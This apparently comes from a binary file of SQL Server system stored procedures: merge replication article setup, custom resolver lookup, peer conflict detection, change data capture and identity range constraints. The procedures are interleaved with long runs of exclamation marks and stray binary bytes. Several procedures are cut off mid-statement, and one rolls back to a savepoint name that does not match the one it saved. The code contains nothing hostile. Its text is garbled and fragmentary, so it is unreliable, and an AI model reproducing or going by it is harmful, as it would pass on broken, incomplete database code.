                article_resolver, resolver_clsid, @schema_option, @destination_object, @destination_owner, @subset_filterclause, 
                0, resolver_info, gen_cur, @missing_cols, @missing_col_count, 0x00,0, identity_support,
                before_image_objid, before_view_objid, verify_resolver_signature, allow_interactive_resolver, 
                fast_multicol_updateproc, @check_permissions, @processing_order, @subscriber_upload_options, @published_in_tran_pub_bit, before_upd_view_objid,
                @deletetracking, @compensateforerrors, @pub_identity_range, @identity_range, @threshold, @stream_blob_columns_bit, @preserve_rowguidcol
            from dbo.sysmergearticles where artid = @artid
                
        if (@@rowcount = 1)
        begin
            insert into dbo.sysmergepartitioninfo (artid, pubid, logical_record_level_conflict_detection, logical_record_level_conflict_resolution, partition_options) 
                values (@artid, @pubid, @logical_record_level_conflict_detection_id, @logical_record_level_conflict_resolution_id, @partition_options)
        
            exec @retcode = sys.sp_MScreate_article_repl_view @pubid, @artid
            if @retcode <> 0 or @@error <> 0
                goto FAILURE    
        end
        
        -- need to validate well-partitioned articles even if this particular one
        -- may not be well-partitioned (e.g. with the same article already existing as well-partitioned
        -- in a different publication or subscription).    
        exec @retcode = sys.sp_MSvalidate_wellpartitioned_articles @publication
        if @@error <> 0 or @retcode <> 0
            goto FAILURE
            
        -- identity range setup code
        -- we will only get here if this is a re-publisher or the article is being published in more than one
        -- publication on the root publisher
        -- if @already_published is 1 then the article is being published in more than one publication on the
        -- root publisher. In that case we need not do !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
*_0K@ _
8--
-- Name: sp_lookupcustomresolver
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--

create procedure sys.sp_lookupcustomresolver
    @article_resolver  nvarchar(255),
    @resolver_clsid    nvarchar(50)   OUTPUT,
    @is_dotnet_assembly bit = 0 OUTPUT,                 -- This flag is set to TRUE while registering a .NET Framework Assembly 
    @dotnet_assembly_name  nvarchar(255) = NULL OUTPUT, -- For .NET Framework Assemblies, this parameter must be set to the name of the .NET assembly that implements the BusinessLogicModule class
    @dotnet_class_name  nvarchar(255) = NULL OUTPUT,     -- For .NET Framework Assemblies, this parameter must be set to the name of the .NET class that implements the BusinessLogicModule class    
    @publisher sysname = NULL
AS

    declare @distributor sysname
    declare @distributiondb sysname
    declare @distproc nvarchar(1000)
    declare @retcode  int
    declare @stmt  nvarchar(1000)
    
    set @retcode = 0

	-- Security check
	if 1 <> is_member('db_owner')
	begin    
		RAISERROR (15247, 11, -1)
		return (1)
	end

    if @article_resolver IS NULL or @article_resolver = ''
    begin
        RAISERROR (21717, 16, -1)
        return 1
    end

    select @is_dotnet_assembly = 0

    if @publisher is null
     	select @publisher = publishingservername()

    /*
    ** Get the distributor 
    */
    if ((@distributor is null) or (@distributiondb is null))
    begin
        EXEC @retcode = sys.sp_helpdistributor @rpcsrvname=@distributor OUTPUT,
        									    @distribdb = @distributiondb OUTPUT,
        									    @publisher  = @publisher
    	IF @@error <> 0 or @retcode <> 0 or @distributiondb is NULL
        BEGIN
            RAISERROR (20036, 16, -1)
            RETURN (1)
        END
    end

    /*
    ** For a local distributor, query the MSmerge_articleresolver directly
    */
    if @distributor = @@servername and db_name() = @distributiondb
    begin
        select @resolver_clsid                  = resolver_clsid,
                 @is_dotnet_assembly          = is_dotnet_assembly,
                 @dotnet_assembly_name    = dotnet_assembly_name,
                 @dotnet_class_name          = dotnet_class_name
        from dbo.MSmerge_articleresolver
        where article_resolver = @article_resolver

    end
    /* 
    ** Since a downlevel publisher can connect to a remote distributor with a higher
    ** version, it is better to return the resolver list using the RPC as opposed
    ** to reading regkeys directly since they might change from version to version.
    */
    else
    begin
        select @distproc = quotename(RTRIM(@distributor)) + '.' + quotename(@distributiondb) +'.sys.sp_lookupcustomresolver'
        exec @distproc 
            @article_resolver  = @article_resolver,
            @resolver_clsid    = @resolver_clsid OUTPUT,
            @is_dotnet_assembly = @is_dotnet_assembly OUTPUT,
            @dotnet_assembly_name = @dotnet_assembly_name OUTPUT,
            @dotnet_class_name = @dotnet_class_name OUTPUT,
            @publisher = @publisher
        if @@ERROR<> 0 
            return (1)
    end

    return @retcode
0E P8cfh@>A
PB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`2<s
}305 28create procedure sys.sp_MSpeerconflictdetection_statuscollection_applyresponse (
	@request_id	int,
	@peer_node	sysname, 
	@peer_db	sysname,
	@peer_db_version int,
	@conflictdetection_enabled bit,
	@peer_originator_id	int,
	@peer_conflict_retention int,
	@peer_continue_onconflict bit, 
	@peer_histids nvarchar(max), --content of MSpeer_originatorid_history in xml format
	@originator_node sysname,
	@originator_db sysname
)
as
begin
	-- security check - should be dbo or sysadmin
	declare @retcode int
	exec @retcode = sp_MSreplcheck_subscribe
	if @@ERROR != 0 or @retcode != 0
		return
	
	if sys.fn_MSrepl_istranpublished(db_name(), 1) <> 1
		return

	if publishingservername() <> @originator_node or db_name() <> @originator_db
		return

	declare @publication sysname
	select @publication  = publication
	from MSpeer_conflictdetectionconfigrequest 
	where id = @request_id

	if @publication is NULL  --request does not exists
		return;

	begin tran
	save tran tr_statuscollection_applyresp
	
	update MSpeer_conflictdetectionconfigresponse
	set	peer_db_version = @peer_db_version,
		conflictdetection_enabled = @conflictdetection_enabled,
		originator_id = @peer_originator_id,
		peer_conflict_retention = @peer_conflict_retention,
		peer_continue_onconflict = @peer_continue_onconflict,
		progress_phase = N'status collected',
		modified_date = GETDATE()
	where request_id = @request_id
		and peer_node = @peer_node
		and peer_db = @peer_db
		and progress_phase = N'peer version collected'
	if @@error <> 0
		goto UNDO
	
       --incorporate historical originator IDs into MSpeer_originatorid_history
       --@peer_histids contains the root : /peer_histids
	declare @DocHandle int
	exec sp_xml_preparedocument @DocHandle OUTPUT, @peer_histids
	if @@error <> 0
		goto UNDO
	
	insert MSpeer_originatorid_history (originator_publication, originator_id, originator_node, originator_db,  originator_db_version, originator_version)
	select @publication, originator_id, originator_node, originator_db, originator_db_version, originator_version
	from (	select  *
	 		from OPENXML (@DocHandle, N'/peer_histids/histid', 1)
	 		with (originator_id int,  originator_node sysname,  originator_db sysname,  originator_db_version int, originator_version int)
	 	) as A
	where not exists (select * from MSpeer_originatorid_history
	 				where originator_publication = @publication and originator_id = A.originator_id 
	 					and originator_node = A.originator_node and originator_db = A.originator_db
	 					and originator_db_version = A.originator_db_version)
	
	if @@error <> 0
		goto UNDO

	exec sp_xml_removedocument @DocHandle
	if @@error <> 0
		goto UNDO

	commit tran
	return

UNDO:
	rollback tran tr_statuscollection_applyres
	commit tran
	return

end
0Y@ 8
CREATE PROCEDURE sys.sp_MShelp_profilecache (        
    @profile_name sysname = NULL
)
as
    declare @profile_id int
    declare @retcode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
    begin
        return(1)
    end

    select @profile_id = NULL
    
    select parameter_name, value 
        from dbo.MSmerge_agent_parameters
        where profile_name = @profile_name
07@ 88<j0N@ 8
create procedure sys.sp_UDFhas_builtin_functions @functionname sysname, @isdynamic bit output, @uses_host_name bit output
															, @uses_suser_sname bit output
as
begin	
	create table #fntext_table (fntext nvarchar(max))
	
	set @isdynamic = 0
	insert into #fntext_table exec sp_MSrepl_helptext @functionname
	if exists (select * from #fntext_table where 
				(UPPER(REPLACE(REPLACE(REPLACE(REPLACE(fntext, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),''))
					like '%HOST_NAME()%' 
					and sys.fn_MSisfilteredcolumn(UPPER(fntext), 'HOST_NAME', NULL) = 1 
				)
				
				or 
				
				(UPPER(REPLACE(REPLACE(REPLACE(REPLACE(fntext, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),''))
				like '%SUSER_SNAME()%' 
					and sys.fn_MSisfilteredcolumn(UPPER(fntext), 'SUSER_SNAME', NULL) = 1 
				)
				
				or 
				
				(UPPER(REPLACE(REPLACE(REPLACE(REPLACE(fntext, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),''))
				like '%SUSER_NAME()%' 
					and sys.fn_MSisfilteredcolumn(UPPER(fntext), 'SUSER_NAME', NULL) = 1 
				)
				
				or 
				
				(UPPER(REPLACE(REPLACE(REPLACE(REPLACE(fntext, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),''))
				like '%USER_NAME()%' 
					and sys.fn_MSisfilteredcolumn(UPPER(fntext), 'USER_NAME', NULL) = 1 
				)
				
				or 
				
				(UPPER(REPLACE(REPLACE(REPLACE(REPLACE(fntext, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),''))
				like '%USER_ID()%' 
				and sys.fn_MSisfilteredcolumn(UPPER(fntext), 'USER_ID', NULL) = 1 
				)
				
				or 
				
				(UPPER(REPLACE(REPLACE(REPLACE(REPLACE(fntext, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),''))
				like '%SUSER_ID()%' 
					and sys.fn_MSisfilteredcolumn(UPPER(fntext), 'SUSER_ID', NULL) = 1 
				)
				
				or 
				
				(UPPER(REPLACE(REPLACE(REPLACE(REPLACE(fntext, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),''))
				like '%SUSER_SID()%' 
					and sys.fn_MSisfilteredcolumn(UPPER(fntext), 'SUSER_SID', NULL) = 1 
				)
				
				or
				
				(UPPER(REPLACE(REPLACE(REPLACE(REPLACE(fntext, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),''))
				like '%USER_SID()%'
					and sys.fn_MSisfilteredcolumn(UPPER(fntext), 'USER_SID', NULL) = 1 
				)
			   )
		select @isdynamic = 1
	
	if exists (select * from #fntext_table where 
				UPPER(REPLACE(REPLACE(REPLACE(REPLACE(fntext, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),''))
				like '%HOST_NAME()%'
				and sys.fn_MSisfilteredcolumn(UPPER(fntext), 'HOST_NAME', NULL) = 1)
		select @uses_host_name = 1
	
	if exists (select * from #fntext_table where 
				UPPER(REPLACE(REPLACE(REPLACE(REPLACE(fntext, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),''))
				like '%SUSER_SNAME()%'
				and sys.fn_MSisfilteredcolumn(UPPER(fntext), 'SUSER_SNAME', NULL) = 1)
		select @uses_suser_sname = 1
		
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`}<c
Kh0d@ T
8 
create procedure sys.sp_cdc_change_data_capture
with execute as 'dbo'
as
begin
	set nocount on
	
	declare @captured_column_list nvarchar(max)
			,@source_object_id int
			,@object_id int
			,@column_name sysname
			,@quoted_db nvarchar(1000)
			,@capture_instance sysname
			,@index_column_list nvarchar(max)
			
	set @quoted_db     = quotename(db_name())
	
	-- This is a request for capture information on all source table that
	-- the caller has select access to
	declare #hinstance cursor local fast_forward for
		select capture_instance, object_id 
		from  #capture_instances
			
	create table #index_column_list
	(
		object_id int null,
		index_list nvarchar(max) collate database_default null
	)
	create table #captured_column_list
	(
		object_id int null,
		included_list nvarchar(max) collate database_default null
	)
		
	open #hinstance
	fetch #hinstance into @capture_instance, @object_id

	while (@@fetch_status <> -1)
	begin
		
		declare #hindexcolumns cursor local fast_forward for
			select i.column_name 
			from  [cdc].[index_columns] i
			inner join [cdc].[change_tables] c
				on i.object_id = c.object_id
			where c.capture_instance = @capture_instance
			order by i.index_ordinal 

		open #hindexcolumns
		fetch #hindexcolumns into @column_name

		if (@@fetch_status <> -1)
		begin
			set @index_column_list = quotename(@column_name)
			fetch #hindexcolumns into @column_name
		end
	
		while (@@fetch_status <> -1)
		begin
			set @index_column_list = @index_column_list +
				N', ' + quotename(@column_name)		
			fetch #hindexcolumns into @column_name
		end

		insert into #index_column_list
		select @object_id, @index_column_list
	
		close #hindexcolumns
		deallocate #hindexcolumns

		declare #hcapturedcolumns cursor local fast_forward for
			select e.column_name 
			from  [cdc].[captured_columns] e inner join [cdc].[change_tables] c
				on e.object_id = c.object_id
			where c.capture_instance = @capture_instance             
				
		open #hcapturedcolumns
		fetch #hcapturedcolumns into @column_name

		if (@@fetch_status <> -1)
		begin
			set @captured_column_list = quotename(@column_name)
			fetch #hcapturedcolumns into @column_name
		end
	
		while (@@fetch_status <> -1)
		begin
			set @captured_column_list = @captured_column_list +
				N', ' + quotename(@column_name)		
			fetch #hcapturedcolumns into @column_name
		end

		insert into #captured_column_list
		select @object_id, @captured_column_list
	
		close #hcapturedcolumns
		deallocate #hcapturedcolumns

		fetch #hinstance into @capture_instance, @object_id
	end

	close #hinstance
	deallocate #hinstance

	select object_schema_name(c.source_object_id) as source_schema,
		object_name(c.source_object_id) as source_table,
		c.capture_instance, c.object_id, c.source_object_id, 
		c.start_lsn, c.end_lsn,	c.supports_net_changes, c.has_drop_pending,
		c.role_name, c.index_name, c.filegroup_name, c.create_date,
		(select index_list from #index_column_list i
		 where i.object_id = c.object_id) as index_column_list,
		(select included_list from #captured_column_list e
		 where e.object_id = c.object_id) as captured_column_list
	from [cdc].[change_tables] c inner join #capture_instances t 
		on c.capture_instance = t.capture_instance 

	return 0
end																
0@ 8-- this proc will log the information about the identity range allocated on the
-- distributor. That information can later be used to catch up the publisher in case
-- of a backup restore.
create procedure sys.sp_MSmerge_log_idrange_alloc_on_distributor
    @subid uniqueidentifier,
    @artid uniqueidentifier, 
    @is_pub_range bit, 
    @ranges_allocated tinyint,  -- 0, 1 or 2
    @range_begin numeric(38,0),
    @range_end numeric(38,0),
    @next_range_begin numeric(38,0),
    @next_range_end numeric(38,0),
    @publication sysname = NULL,
    @subscriber sysname = NULL,
    @subscriber_db sysname = NULL
    
as
    declare @distributor sysname
    declare @distribdb sysname
    declare @article sysname
    declare @pubid uniqueidentifier
    declare @dbname sysname
    declare @retcode int
    declare @distproc nvarchar(350)
    			,@publishingservername sysname

    -- if this is the first allocation and we don't know of this subscription yet. 
    -- Raise an error if the @publication, @subscriber and @subscriber_db parameters are also NULL
    select @pubid = pubid from dbo.sysmergesubscriptions where subid = @subid
    select @publishingservername = publishingservername()
    if @pubid is NULL
    begin
        -- even if subid is not correct atleast a valid subscriber db, publication information should have been specified.
        if @publication is NULL
        begin
            RAISERROR (21055, 16, -1, '@subid', 'sys.sp_MSmerge_log_idrange_alloc_on_distributor')
            RETURN (1)
        end
        if @subscriber is NULL
        begin
            RAISERROR (21055, 16, -1, '@subscriber', 'sys.sp_MSmerge_log_idrange_alloc_on_distributor')
            RETURN (1)
        end

        if @subscriber_db is NULL
        begin
            RAISERROR (21055, 16, -1, '@subscriber_db', 'sys.sp_MSmerge_log_idrange_alloc_on_distributor')
            RETURN (1)
        end
        select @pubid = pubid from dbo.sysmergepublications where name = @publication and publisher = publishingservername() and publisher_db = db_name()
        if @pubid is NULL 
        begin
            RAISERROR (21055, 16, -1, '@publication', 'sys.sp_MSmerge_log_idrange_alloc_on_distributor')
            RETURN (1)
        end
    end
    else
    begin
        select @subscriber = subscriber_server, @subscriber_db = db_name from dbo.sysmergesubscriptions where subid = @subid
        select @publication = name from dbo.sysmergepublications where pubid = @pubid
    end

    select @article = name from dbo.sysmergearticles where pubid = @pubid and artid = @artid
    if @article is NULL
    begin
        RAISERROR (21055, 16, -1, '@artid', 'sys.sp_MSmerge_log_idrange_alloc_on_distributor')
        RETURN (1)
    end
    
    exec @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, @distribdb = @distribdb OUTPUT
    if @@error <> 0 OR @retcode <> 0
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    set @dbname = DB_NAME()
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSmerge_log_identity_range_allocations'
    EXECUTE @retcode = @distproc 
        @publisher = @publishingservername,
        @publisher_db = @dbname,
        @publication = @publication,
        @article = @article,
        @subscriber = @subscriber,
        @subscriber_db = @subscriber_db,
        @is_pub_range = @is_pub_range,
        @ranges_allocated = @ranges_allocated,  
        @range_begin = @range_begin,
        @range_end = @range_end,
        @next_range_begin = @next_range_begin,
        @next_range_end = @next_range_end     

    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`?	<>
<y0 g P8Gh>\0ch 8create procedure sys.sp_MSrefresh_idrange_check_constraint
    @qualified_object_name nvarchar(517),
    @artid uniqueidentifier,
    @range_begin numeric(38,0),
    @range_end numeric(38,0),
    @next_range_begin numeric(38,0),
    @next_range_end numeric(38,0),
    @ranges_given tinyint = 2,
    @low_range_inclusive bit = 0
as
    set nocount on

    declare @constraintname sysname
	declare @quoted_constraintname nvarchar(258)
    declare @colname		sysname
    declare @dbname			sysname
    declare @prefix			sysname
    declare @prefixlike 	sysname
	declare @object_name	sysname
	declare @schema_name	sysname
    declare @retcode        int
    declare @objid          int
	declare @dbid			int
    declare @command nvarchar(4000)
    declare @ident_incr  numeric(38,0)
    
    -- DDL trigger depends on this prefix, if changed, be sure to change sp_MSmerge_altertable as well
    select @prefix = 'repl_identity_range_'
    select @prefixlike = @prefix+'%'
    select @dbname = db_name()
	select @dbid = db_id()
    select @retcode = 0

    select @objid = object_id(@qualified_object_name)
    if @objid is NULL
    begin
        raiserror(14027, 16, 1, @qualified_object_name)
        return (1)    
    end

	--
	-- We can't fully trust the input here as it could be passed in via a user via 
	--  sp_MSrefresh_publisher_idrange.  We use the @dbid parameter here as we could
	--  be resolving an object_id that's in a different database which the user doesn't
	--  have access to.
	--
	select @object_name = object_name(@objid, @dbid)
	select @schema_name = object_schema_name(@objid, @dbid)
    if @object_name is NULL or @schema_name is NULL
    begin
        raiserror(14027, 16, 1, @qualified_object_name)
        return (1)    
    end
	
	select @qualified_object_name = quotename(@schema_name) + N'.' + quotename(@object_name)

    select @colname = NULL
    select @colname=name from sys.columns where object_id=@objid and is_identity=1
    if @colname is NULL
    begin
        raiserror(21756, 16, 1, @qualified_object_name)
        return (1)
    end

    select @ident_incr = IDENT_INCR(@qualified_object_name)
    
    -- turn on context bit so DDL event will not be replicated
    EXEC @retcode = sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff=1
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)

    -- the first time this proc is called on the subscriber, the publisher constraint could be present
    -- hence we need to drop all constraints which contain the repl_identity_range prefix
    select @constraintname = NULL
    select top 1 @constraintname = name from sys.objects where parent_object_id=@objid and type='C' and name like @prefixlike
    while @constraintname is not NULL
    begin
		select @quoted_constraintname = quotename(@constraintname)
        exec ('alter table '+ @qualified_object_name + ' drop constraint ' + @quoted_constraintname)
        if @@ERROR<>0
            goto err_clean
        select @constraintname = NULL
        select top 1 @constraintname = name from sys.objects where parent_object_id=@objid and type='C' and name like @prefixlike
    end

    select @constraintname = @prefix + convert(nvarchar(36), @artid)  
    select @constraintname = REPLACE(@constraintname, '-', '_')
    if exists (select * from sys.objects where name = @constraintname and type='C')
    begin
		select @quoted_constraintname = quotename(@constraintname)
        exec ('alter table '+ @qualified_object_name + ' drop constraint ' + @quoted_constraintname)
        if @@ERROR<>0
            goto err_clean
    end


    declare @qualcolname nvarchar(258)
    select @qualcolname = quotename(@colname)

    declare @str1 nvarchar(40), @str2 nvarchar(40), @str3 nvarchar(40), @str4 nvarchar(40)
    select @str1 = convert(nvarchar(40),@range_begin) 
    select @str2 = convert(nvarchar(40),@range_end) 
    select @str3 = convert(nvarchar(40),@next_range_begin) 
    select @str4 = convert(nvarchar(40),@next_range_end) 

    if @ident_incr > 0
    begin
        select @command = 'alter table '+ @qualified_object_name + ' with NOCHECK add CONSTRAINT ' + @constraintname + ' check NOT FOR REPLICATION (' 
        if @low_range_inclusive = 1 
            select @command = @command + '(' + @qualcolname + ' >= ' + @str1
        else
            select @command = @command + '(' + @qualcolname + ' > ' + @str1
        select @command = @command +
                    ' and ' + @qualcolname + ' <= ' + @str2 + ')' +
                ' or ' +
                '(' + @qualcolname + ' > ' + @str3 + 
                    ' and ' + @qualcolname + ' <= ' + @str4 + ')' +
                ')'
        exec (@command)
    end
    else
    begin
        select @command = 'alter table '+ @qualified_object_name + ' with NOCHECK add CONSTRAINT ' + @constraintname + ' check NOT FOR REPLICATION (' 
        if @low_range_inclusive = 1 
            select @command = @command + '(' + @qualcolname + ' <= ' + @str1
        else
            select @command = @command + '(' + @qualcolname + ' < ' + @str1
        select @command = @command +
                    ' and ' + @qualcolname + ' >= ' + @str2 + ')' +
                ' or ' +
                '(' + @qualcolname + ' < ' + @str3 + 
                    ' and ' + @qualcolname + ' >= ' + @str4 + ')' +
                ')'

        exec (@command)
    end
    if @@ERROR<>0
        goto err_clean

    if @ranges_given = 2 and @low_range_inclusive = 0
    begin            
        DBCC CHECKIDENT(@qualified_object_name, RESEED, @range_begin) with no_infomsgs
        if @@ERROR<>0
            goto err_clean

        -- If this is the first merge the subscriber would not have had any local inserts when this proc is called. 
        -- In that case the subscriber's ident current will be NULL since the table was created by applying the snapshot 
        -- to the subscriber. Hence if we reseed to @range_begin the next value that will be inserted will be
        -- equal to @range_begin (this is special case of NULL). However if there have been local inserts the next value
        -- inserted will be equal to @range_begin+@ident_incr. Hence to keep the same behavior for initial and subsequent
        -- reseeds we will reseed it to @range_begin + @ident_incr in case of a NULL value of ident_current
        if exists (select 1 from sys.identity_columns where object_id=@objid and last_value is NULL)
        begin
            select @range_begin = @range_begin + @ident_incr
            DBCC CHECKIDENT(@qualified_object_name, RESEED, @range_begin) with no_infomsgs
            if @@ERROR<>0
                goto err_clean
        end
    end
    
    goto success_clean

success_clean:
    EXEC sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff=0
    return 0

err_clean:
    EXEC sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff=0
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``	<r
9B'!,t0@ 8-- this proc will refresh the local publisher's range
create procedure sys.sp_MSrefresh_publisher_idrange
    @qualified_object_name nvarchar(517),
    @subid uniqueidentifier,  -- pubid of the publisher whose range is to be refreshed.
    @artid uniqueidentifier,  -- though the artid can be derived from the @qualified_object_name, we will take it as a parameter to do one less query
    @ranges_needed tinyint,  -- 0=none needed, 1=one range needed, 2=both ranges needed
    @refresh_check_constraint bit
as
    declare @range_begin numeric(38,0)
    declare @range_end numeric(38,0)
    declare @next_range_begin numeric(38,0)
    declare @next_range_end numeric(38,0)
    declare @retcode int

    exec @retcode = sys.sp_MSreplcheck_publish
